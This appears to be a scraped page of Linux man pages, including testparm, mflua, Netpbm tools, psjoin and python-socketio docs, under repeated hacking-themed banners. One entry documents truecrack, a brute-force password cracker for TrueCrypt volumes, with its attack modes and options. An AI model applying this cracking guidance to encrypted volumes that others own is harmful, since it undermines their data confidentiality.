The output produced should look like

BRIDGE-MIB::dot1dStpBridgeHelloTime = INTEGER: 199 centi-seconds
    BRIDGE-MIB::dot1dStpBridgeForwardDelay = INTEGER: 1499 centi-seconds
    BRIDGE-MIB::dot1dStpPort.1 = INTEGER: 1
    BRIDGE-MIB::dot1dStpPort.3 = INTEGER: 3
    BRIDGE-MIB::dot1dStpPortPriority.1 = INTEGER: 32
    BRIDGE-MIB::dot1dStpPortPriority.3 = INTEGER: 32
    BRIDGE-MIB::dot1dStpPortState.1 = INTEGER: disabled(1)
    BRIDGE-MIB::dot1dStpPortState.3 = INTEGER: disabled(1)
    BRIDGE-MIB::dot1dStpPortEnable.1 = INTEGER: disabled(2)
    BRIDGE-MIB::dot1dStpPortEnable.3 = INTEGER: disabled(2)
    BRIDGE-MIB::dot1dStpPortPathCost.1 = INTEGER: 2
    BRIDGE-MIB::dot1dStpPortPathCost.3 = INTEGER: 4
    BRIDGE-MIB::dot1dStpPortDesignatedRoot.1 = STRING: "8000.001018382c78"
    BRIDGE-MIB::dot1dStpPortDesignatedRoot.3 = STRING: "8000.001018382c78"
    BRIDGE-MIB::dot1dStpPortDesignatedCost.1 = INTEGER: 0
    BRIDGE-MIB::dot1dStpPortDesignatedCost.3 = INTEGER: 0
    BRIDGE-MIB::dot1dStpPortDesignatedBridge.1 = STRING: "8000.001018382c78"
    BRIDGE-MIB::dot1dStpPortDesignatedBridge.3 = STRING: "8000.001018382c78"
    BRIDGE-MIB::dot1dStpPortDesignatedPort.1 = STRING: "32769"
    BRIDGE-MIB::dot1dStpPortDesignatedPort.3 = STRING: "32770"
    BRIDGE-MIB::dot1dStpPortPathCost32.1 = INTEGER: 2
    BRIDGE-MIB::dot1dStpPortPathCost32.3 = INTEGER: 4
    BRIDGE-MIB::dot1dTpLearnedEntryDiscards = Counter32: 0
    BRIDGE-MIB::dot1dTpAgingTime = INTEGER: 300 seconds
    BRIDGE-MIB::dot1dTpFdbAddress.'...8,x' = STRING: 0:10:18:38:2c:78
    BRIDGE-MIB::dot1dTpFdbAddress.'.!^/B|' = STRING: 0:21:5e:2f:42:7c
    BRIDGE-MIB::dot1dTpFdbPort.'...8,x' = INTEGER: 1
    BRIDGE-MIB::dot1dTpFdbPort.'.!^/B|' = INTEGER: 3
    BRIDGE-MIB::dot1dTpFdbStatus.'...8,x' = INTEGER: learned(3)
    BRIDGE-MIB::dot1dTpFdbStatus.'.!^/B|' = INTEGER: learned(3)
    BRIDGE-MIB::dot1dTpPort.1 = INTEGER: 1
    BRIDGE-MIB::dot1dTpPort.3 = INTEGER: 3
    BRIDGE-MIB::dot1dTpPortMaxInfo.1 = INTEGER: 1500 bytes
    BRIDGE-MIB::dot1dTpPortMaxInfo.3 = INTEGER: 1500 bytes
    BRIDGE-MIB::dot1dTpPortInFrames.1 = Counter32: 18082 frames
    BRIDGE-MIB::dot1dTpPortInFrames.3 = Counter32: 1546072 frames
    BRIDGE-MIB::dot1dTpPortOutFrames.1 = Counter32: 11601 frames
    BRIDGE-MIB::dot1dTpPortOutFrames.3 = Counter32: 10988 frames
    BRIDGE-MIB::dot1dTpPortInDiscards.1 = Counter32: 0 frames
    BRIDGE-MIB::dot1dTpPortInDiscards.3 = Counter32: 0 frames

BUGS

1.

snmp-bridge-mib currently only supports one bridge which has to be specified on the commandline.

2.

Not all elements of RFC 4188 because they are either not available in sysfs or difficult to extract from the existing data.

SEE ALSO

snmpd.conf(5), Net::SNMP(3)

AUTHOR

Jens Osterkamp <[email protected]>

Developer

COPYRIGHT

Copyright © 2009, 2010 IBM Corp., All Rights Reserved

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

490 - Linux cli command testparm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command testparm and provides detailed information about the command testparm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the testparm.

NAME 🖥️ testparm 🖥️

check an smb.conf configuration file for internal correctness

SYNOPSIS

testparm [-s|–suppress-prompt] [-v|–verbose] [-?|–help] [–usage] [-d|–debuglevel=DEBUGLEVEL] [–debug-stdout] {config filename} [hostname hostIP]

DESCRIPTION

This tool is part of the samba(7) suite.

testparm is a very simple test program to check an smbd(8) configuration file for internal correctness. If this program reports no problems, you can use the configuration file with confidence that smbd will successfully load the configuration file.

Note that this is NOT a guarantee that the services specified in the configuration file will be available or will operate as expected.

If the optional host name and host IP address are specified on the command line, this test program will run through the service entries reporting whether the specified host has access to each service.

If testparm finds an error in the smb.conf file it returns an exit code of 1 to the calling program, else it returns an exit code of 0. This allows shell scripts to test the output from testparm.

OPTIONS

-s|–suppress-prompt

Without this option, testparm will prompt for a carriage return after printing the service names and before dumping the service definitions.

-v|–verbose

If this option is specified, testparm will also output all options that were not used in smb.conf(5) and are thus set to their defaults.

–parameter-name parametername

Dumps the named parameter. If no section-name is set the view is limited by default to the global section. It is also possible to dump a parametrical option. Therefore the option has to be separated by a colon from the parametername.

–section-name sectionname

Dumps the named section.

–show-all-parameters

Show the parameters, type, possible values.

-l|–skip-logic-checks

Skip the global checks.

-?|–help

Print a summary of command line options.

–usage

Display brief usage message.

-d|–debuglevel=DEBUGLEVEL

level is an integer from 0 to 10. The default value if this parameter is not specified is 1 for client applications.

The higher this value, the more detail will be logged to the log files about the activities of the server. At level 0, only critical errors and serious warnings will be logged. Level 1 is a reasonable level for day-to-day running - it generates a small amount of information about operations carried out.

Levels above 1 will generate considerable amounts of log data, and should only be used when investigating a problem. Levels above 3 are designed for use only by developers and generate HUGE amounts of log data, most of which is extremely cryptic.

Note that specifying this parameter here will override the log level parameter in the /etc/samba/smb.conf file.

–debug-stdout

This will redirect debug output to STDOUT. By default all clients are logging to STDERR.

–configfile=<configuration file>

The file specified contains the configuration details required by the client. The information in this file can be general for client and server or only provide client specific like options such as client smb encrypt. See /etc/samba/smb.conf for more information. The default configuration file name is determined at compile time.

–option=<name>=<value>

Set the smb.conf(5) option “<name>” to value “<value>” from the command line. This overrides compiled-in defaults and options read from the configuration file. If a name or a value includes a space, wrap whole –option=name=value into quotes.

-V|–version

Prints the program version number.

configfilename

This is the name of the configuration file to check. If this parameter is not present then the default smb.conf(5) file will be checked.

hostname

If this parameter and the following are specified, then testparm will examine the hosts allow and hosts deny parameters in the smb.conf(5) file to determine if the hostname with this IP address would be allowed access to the smbd server. If this parameter is supplied, the hostIP parameter must also be supplied.

hostIP

This is the IP address of the host specified in the previous parameter. This address must be supplied if the hostname parameter is supplied.

FILES

smb.conf(5)

This is usually the name of the configuration file used by smbd(8).

DIAGNOSTICS

The program will issue a message saying whether the configuration file loaded OK or not. This message may be preceded by errors and warnings if the file did not load. If the file was loaded OK, the program then dumps all known service details to stdout.

For certain use cases, SMB protocol requires use of cryptographic algorithms which are known to be weak and already broken. DES and ARCFOUR (RC4) ciphers and the SHA1 and MD5 hash algorithms are considered weak but they are required for backward compatibility. The testparm utility shows whether the Samba tools will fall back to these weak crypto algorithms if it is not possible to use strong cryptography by default. In FIPS mode weak crypto cannot be enabled.

VERSION

This man page is part of version 4.20.1-Debian of the Samba suite.

SEE ALSO

smb.conf(5), smbd(8)

AUTHOR

The original Samba software and related utilities were created by Andrew Tridgell. Samba is now developed by the Samba Team as an Open Source project similar to the way the Linux kernel is developed.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

491 - Linux cli command truecrack

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command truecrack and provides detailed information about the command truecrack, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the truecrack.

NAME 🖥️ truecrack 🖥️

Brute-force password cracker for TrueCrypt (Copyright) volumes.

SYNOPSIS

truecrack -t truecrypt_file -w passwords_file [OPTION…]
truecrack -t truecrypt_file -c alphabet [OPTION…]

DESCRIPTION

TrueCrack is a brute-force password cracker for TrueCrypt (Copyright) volumes. It works on Linux and it is optimized for Nvidia Cuda technology.

It supports:

  • PBKDF2 (defined in PKCS5 v2.0) based on key derivation functions: Ripemd160, Sha512 and Whirlpool.
  • XTS block cipher mode for hard disk encryption based on encryption algorithms: AES, SERPENT, TWOFISH.
  • File-hosted (container) and Partition/device-hosted.
  • Hidden volumes and Backup headers.

TrueCrack is able to perform a brute-force attack based on:

  • Dictionary: read the passwords from a file of words.
  • Alphabet: generate all passwords of given length from given alphabet.

TrueCrack works on gpu and cpu. TrueCrack requires a lots of resources: we suggest a dedicated gpu board.

OPTIONS

-h, –help
Display help information

-k, –key ripemd160 | sha512 | whirlpool
Key derivation function (default ripemd160).

-e, –encryption aes | serpent | twofish
Encryption algorithm (default aes)

-a, –aggressive blocks
Number of parallel computations (board dependent).

-m, –maxlength maxlength
Maximum length of passwords, for Alphabet attack.

-s, –startlength startlength
Starting length of passwords, for Alphabet attack (default 1).

-r, –restore number
Restore the computation.

-b, –backup
Backup header instead of volume header.

-H, –hidden
Hidden Truecrypt volume.

-v, –verbose
Show verbose messages.

LICENSE

TrueCrack is an Open Source Software under GNU General Public License version 3. This software is Based on TrueCrypt, freely available at http://www.truecrypt.org/ Contact the author: Luca Vaccaro <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

492 - Linux cli command mflua

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mflua and provides detailed information about the command mflua, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mflua.

NAME 🖥️ mflua 🖥️

nowin, mfluajit, mfluajit-nowin - implementation of META-FONT with Lua embedded for better extraction of information from METAFONT.

SYNOPSIS

mflua [OPTION]… [MFNAME[.mf]] [COMMANDS]
mflua [OPTION]… FIRST-LINE
mflua [OPTION]… &BASE ARGS

DESCRIPTION

Run MFLua on MFNAME, usually creating MFNAME.tfm and MFNAME.NNNNgf, where NNNN is the resolution of the specified mode (2602 by default). Any following COMMANDS are processed as Metafont input, after MFNAME is read. If the first line of MFNAME is %&BASE, and BASE is an existing .base file, use it. Else use `NAME.base’, where NAME is the program invocation name, most commonly `mf'.

Alternatively, if the first non-option argument begins with a backslash, interpret all non-option arguments as a line of Metafont input.

Alternatively, if the first non-option argument begins with a &, the next word is taken as the BASE to read, overriding all else. Any remaining arguments are processed as above.

If no arguments or options are specified, prompt for input.

OPTIONS

-base=BASENAME use BASENAME instead of program name or a %& line

[-no]-file-line-error disable/enable file:line:error style messages

-halt-on-error stop processing at the first error

-ini be inimf, for dumping bases; this is implicitly true if the program name is `inimf'

-interaction=STRING set interaction mode (STRING=batchmode/nonstopmode/scrollmode/errorstopmode)

-jobname=STRING set the job name to STRING

-kpathsea-debug=NUMBER set path searching debugging flags according to the bits of NUMBER

[-no]-mktex=FMT disable/enable mktexFMT generation (FMT=mflua)

-output-directory=DIR use existing DIR as the directory to write files in

[-no]-parse-first-line disable/enable parsing of first line of input file

-progname=STRING set program (and base) name to STRING

-recorder enable filename recorder

-translate-file=TCXNAME use the TCX file TCXNAME

-8bit make all characters printable by default

-help display this help and exit

-version output version information and exit

REPORTING BUGS

Email bug reports to [email protected].

kpathsea version 6.3.2
Copyright 2020 L. Scarso.
There is NO warranty. Redistribution of this software is covered by the terms of both the MFLua copyright and the Lesser GNU General Public License.
For more information about these matters, see the file named COPYING and the MFLua source.
Primary author of MFLua: L. Scarso.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

493 - Linux cli command ppmtoeyuv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtoeyuv and provides detailed information about the command ppmtoeyuv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtoeyuv.

.

NAME 🖥️ ppmtoeyuv 🖥️

convert a PPM image into a Berkeley YUV file

SYNOPSIS

ppmtoeyuv

[ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmtoeyuv reads a PPM image as input and produces a Berkeley Encoder YUV (not the same as Abekas YUV) file on the Standard Output file.

With no argument, ppmtoeyuvtakes input from Standard Input. Otherwise, ppmfile is the file specification of the input file.

ppmtoeyuv handles multi-image PPM input streams, outputting consecutive eyuv images. There must be at least one image, though.

OPTIONS

There are no command line options defined specifically for ppmtoeyuv, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

eyuvtoppm(1) , ppmtoyuv(1) , ppm(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtoeyuv.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

494 - Linux cli command psjoin

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command psjoin and provides detailed information about the command psjoin, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the psjoin.

NAME 🖥️ psjoin 🖥️

psjoin

SYNOPSIS

psjoin [ options… ] filenames

DESCRIPTION

psjoin - concatenate PostScript files (version 0.3) by Tom Sato <[email protected]>, http://member.nifty.ne.jp/tsato/

Option:

-a: align first page of each documents to odd page

-s: try to close unclosed save operators

-p: not strip prolog/trailer of the input files

-h: display help

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

495 - Linux cli command pamsharpness

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamsharpness and provides detailed information about the command pamsharpness, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamsharpness.

.

NAME 🖥️ pamsharpness 🖥️

measure the sharpness of a PNM/PAM image

SYNOPSIS

pamsharpness [imagefile]

DESCRIPTION

This program is part of Netpbm(1) .

pamsharpness reads a Netpbm image (PNM or PAM) and prints a message to Standard Output giving a number that tells how sharp it is.

Sharpness is a measure of how suddenly (in space) colors change in the image. pamsharpness computes the sharpness of the image as the average difference in intensity between each pixel and its 8 surrounding pixels, in each of the color components (R, G, B).

pamsharpness does not include the edges of the image, where there are not 8 pixels surrounding a pixel, in its computation.

pamsharpness assumes that the image is a PNM or PNM equivalent PAM. If it isn’t, the results are not necessarily meaningful.

OPTIONS

There are no command line options defined specifically for pamsharpness, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pamsharpmap(1) , pammasksharpen(1) , pam(1) , pnm(1)

HISTORY

pamsharpness was added to Netpbm in Release 10.21 (March 2004). Bryan Henderson derived it from the program pnmsharp by B.W. van Schooten and distributed as part of the Photopnmtools package.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamsharpness.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

496 - Linux cli command python-socketio

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command python-socketio and provides detailed information about the command python-socketio, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the python-socketio.

NAME 🖥️ python-socketio 🖥️

socketio - python-socketio Documentation

This projects implements Socket.IO clients and servers that can run standalone or integrated with a variety of Python web frameworks.

GETTING STARTED

What is Socket.IO?

Socket.IO is a transport protocol that enables real-time bidirectional event-based communication between clients (typically, though not always, web browsers) and a server. The official implementations of the client and server components are written in JavaScript. This package provides Python implementations of both, each with standard and asyncio variants.

Version compatibility

The Socket.IO protocol has been through a number of revisions, and some of these introduced backward incompatible changes, which means that the client and the server must use compatible versions for everything to work.

If you are using the Python client and server, the easiest way to ensure compatibility is to use the same version of this package for the client and the server. If you are using this package with a different client or server, then you must ensure the versions are compatible.

The version compatibility chart below maps versions of this package to versions of the JavaScript reference implementation and the versions of the Socket.IO and Engine.IO protocols.

_
JavaScript Socket.IO versionSocket.IO protocol revisionEngine.IO protocol revisionpython-socketio versionpython-engineio version
_
0.9.x1, 21, 2Not supportedNot supported
_
1.x and 2.x3, 434.x3.x
_
3.x and 4.x545.x4.x
_

Client Examples

The example that follows shows a simple Python client:

import socketio

sio = socketio.Client()

@sio.event
def connect():
    print('connection established')

@sio.event
def my_message(data):
    print('message received with ', data)
    sio.emit('my response', {'response': 'my response'})

@sio.event
def disconnect():
    print('disconnected from server')

sio.connect('http://localhost:5000')
sio.wait()

Below is a similar client, coded for asyncio (Python 3.5+ only):

import asyncio import socketio

sio = socketio.AsyncClient()

@sio.event
async def connect():
    print('connection established')

@sio.event
async def my_message(data):
    print('message received with ', data)
    await sio.emit('my response', {'response': 'my response'})

@sio.event
async def disconnect():
    print('disconnected from server')

async def main():
    await sio.connect('http://localhost:5000')
    await sio.wait()

if __name__ == '__main__':
    asyncio.run(main())

Client Features

  • Can connect to other Socket.IO servers that are compatible with the JavaScript Socket.IO 1.x and 2.x releases. Work to support release 3.x is in progress.

  • Compatible with Python 3.6+.

  • Two versions of the client, one for standard Python and another for asyncio.

  • Uses an event-based architecture implemented with decorators that hides the details of the protocol.

  • Implements HTTP long-polling and WebSocket transports.

  • Automatically reconnects to the server if the connection is dropped.

Server Examples

The following application is a basic server example that uses the Eventlet asynchronous server:

import eventlet import socketio

sio = socketio.Server()
app = socketio.WSGIApp(sio, static_files={
    '/': {'content_type': 'text/html', 'filename': 'index.html'}
})

@sio.event
def connect(sid, environ):
    print('connect ', sid)

@sio.event
def my_message(sid, data):
    print('message ', data)

@sio.event
def disconnect(sid):
    print('disconnect ', sid)

if __name__ == '__main__':
    eventlet.wsgi.server(eventlet.listen(('', 5000)), app)

Below is a similar application, coded for asyncio (Python 3.5+ only) and the Uvicorn web server:

from aiohttp import web import socketio

sio = socketio.AsyncServer()
app = web.Application()
sio.attach(app)

async def index(request):
    """Serve the client-side application."""
    with open('index.html') as f:
        return web.Response(text=f.read(), content_type='text/html')

@sio.event
def connect(sid, environ):
    print("connect ", sid)

@sio.event
async def chat_message(sid, data):
    print("message ", data)

@sio.event
def disconnect(sid):
    print('disconnect ', sid)

app.router.add_static('/static', 'static')
app.router.add_get('/', index)

if __name__ == '__main__':
    web.run_app(app)

Server Features

  • Can connect to servers running other Socket.IO clients that are compatible with the JavaScript client versions 1.x and 2.x. Work to support the 3.x release is in progress.

  • Compatible with Python 3.6+.

  • Two versions of the server, one for standard Python and another for asyncio.

  • Supports large number of clients even on modest hardware due to being asynchronous.

  • Can be hosted on any WSGI and ASGI web servers including Gunicorn, Uvicorn, eventlet and gevent.

  • Can be integrated with WSGI applications written in frameworks such as Flask, Django, etc.

  • Can be integrated with aiohttp, sanic and tornado asyncio applications.

  • Broadcasting of messages to all connected clients, or to subsets of them assigned to “rooms”.

  • Optional support for multiple servers, connected through a messaging queue such as Redis or RabbitMQ.

  • Send messages to clients from external processes, such as Celery workers or auxiliary scripts.

  • Event-based architecture implemented with decorators that hides the details of the protocol.

  • Support for HTTP long-polling and WebSocket transports.

  • Support for XHR2 and XHR browsers.

  • Support for text and binary messages.

  • Support for gzip and deflate HTTP compression.

  • Configurable CORS responses, to avoid cross-origin problems with browsers.

THE SOCKET.IO CLIENT

This package contains two Socket.IO clients:

  • The socketio.Client() class creates a client compatible with the standard Python library.

  • The socketio.AsyncClient() class creates a client compatible with the asyncio package.

The methods in the two clients are the same, with the only difference that in the asyncio client most methods are implemented as coroutines.

Installation

To install the standard Python client along with its dependencies, use the following command:

pip install “python-socketio[client]”

If instead you plan on using the asyncio client, then use this:

pip install “python-socketio[asyncio_client]”

Creating a Client Instance

To instantiate an Socket.IO client, simply create an instance of the appropriate client class:

import socketio

# standard Python
sio = socketio.Client()

# asyncio
sio = socketio.AsyncClient()

Defining Event Handlers

The Socket.IO protocol is event based. When a server wants to communicate with a client it emits an event. Each event has a name, and a list of arguments. The client registers event handler functions with the socketio.Client.event() or socketio.Client.on() decorators:

@sio.event def message(data): print(‘I received a message!’)

@sio.on('my message')
def on_message(data):
    print('I received a message!')

In the first example the event name is obtained from the name of the handler function. The second example is slightly more verbose, but it allows the event name to be different than the function name or to include characters that are illegal in function names, such as spaces.

For the asyncio client, event handlers can be regular functions as above, or can also be coroutines:

@sio.event async def message(data): print(‘I received a message!’)

If the server includes arguments with an event, those are passed to the handler function as arguments.

Catch-All Event Handlers

A “catch-all” event handler is invoked for any events that do not have an event handler. You can define a catch-all handler using ’*’ as event name:

@sio.on(’*’) def catch_all(event, data): pass

Asyncio clients can also use a coroutine:

@sio.on(’*’) async def catch_all(event, data): pass

A catch-all event handler receives the event name as a first argument. The remaining arguments are the same as for a regular event handler.

Connect, Connect Error and Disconnect Event Handlers

The connect, connect_error and disconnect events are special; they are invoked automatically when a client connects or disconnects from the server:

@sio.event def connect(): print(“I’m connected!”)

@sio.event
def connect_error(data):
    print("The connection failed!")

@sio.event
def disconnect():
    print("I'm disconnected!")

The connect_error handler is invoked when a connection attempt fails. If the server provides arguments, these are passed on to the handler. The server can use an argument to provide information to the client regarding the connection failure.

The disconnect handler is invoked for application initiated disconnects, server initiated disconnects, or accidental disconnects, for example due to networking failures. In the case of an accidental disconnection, the client is going to attempt to reconnect immediately after invoking the disconnect handler. As soon as the connection is re-established the connect handler will be invoked once again.

The connect, connect_error and disconnect events have to be defined explicitly and are not invoked on a catch-all event handler.

Connecting to a Server

The connection to a server is established by calling the connect() method:

sio.connect(‘http://localhost:5000’)

In the case of the asyncio client, the method is a coroutine:

await sio.connect(‘http://localhost:5000’)

Upon connection, the server assigns the client a unique session identifier. The applicaction can find this identifier in the sid attribute:

print(‘my sid is’, sio.sid)

Emitting Events

The client can emit an event to the server using the emit() method:

sio.emit(‘my message’, {‘foo’: ‘bar’})

Or in the case of asyncio, as a coroutine:

await sio.emit(‘my message’, {‘foo’: ‘bar’})

